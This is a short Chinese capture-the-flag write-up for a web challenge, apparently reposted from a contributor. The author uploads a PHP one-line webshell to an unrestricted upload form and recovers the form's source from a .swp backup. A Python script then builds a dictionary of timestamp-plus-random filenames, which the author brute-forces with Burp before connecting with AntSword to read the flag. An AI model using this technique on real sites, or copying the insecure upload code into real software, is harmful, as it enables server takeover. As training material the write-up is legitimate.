点击此处 获得更好的阅读体验
来源
本 WP 来自spaceman
原创投稿
题目考点
解题思路
尝试直接上传一句话木马,发现木马文件是可以上传,但是路径不知道
于是扫描了一下目录。发现index.php.swp、flag.php,swp文件需要恢复
得出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (isset ($_POST['submit' ])){ $file_path = "uploads/" ; $file_name = date("YmdHis" ) . rand(0 ,999 ) . ".php" ; move_uploaded_file($_FILES["file" ]["tmp_name" ], $file_path . $file_name); echo "上传成功!" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>Web03</title> </head> <body> <form action="index.php" method="post" enctype="multipart/form-data" > <input type="file" name='file' > <input type="submit" name="submit" value="上传" /> </form> </body> </html>
可以看出上传的路径了 uploads ,但是文件名更改为时间,还加了随机数,我本地搭建了一个,先尝试去掉随机的,可以发现是以时间命名,与提交的时间一样
再加上随机的,这次随机的数是900
这就一目了然了,随机数只能爆破了
时间 20200818141506+0-999随机数.php,所以先写一个脚本生成字典
1 2 3 4 5 6 7 8 9 10 time = '20200818141506' s = '' for i in range(1000 ): s += time+str(i)+'.php' s += '\n' print (time+str(i)+'.php' ) filename = 'dir.txt' with open(filename,'a' ,encoding='utf-8' ) as f: for i in s: f.writelines(i)
然后再使用Bp跑
然后再复制字典粘贴上去,启动
最后跑完,排一下(It is ok!是我在一句话中自己添加的,为了方便确认上传是否成功)
蚁剑连接,html目录下拿到flag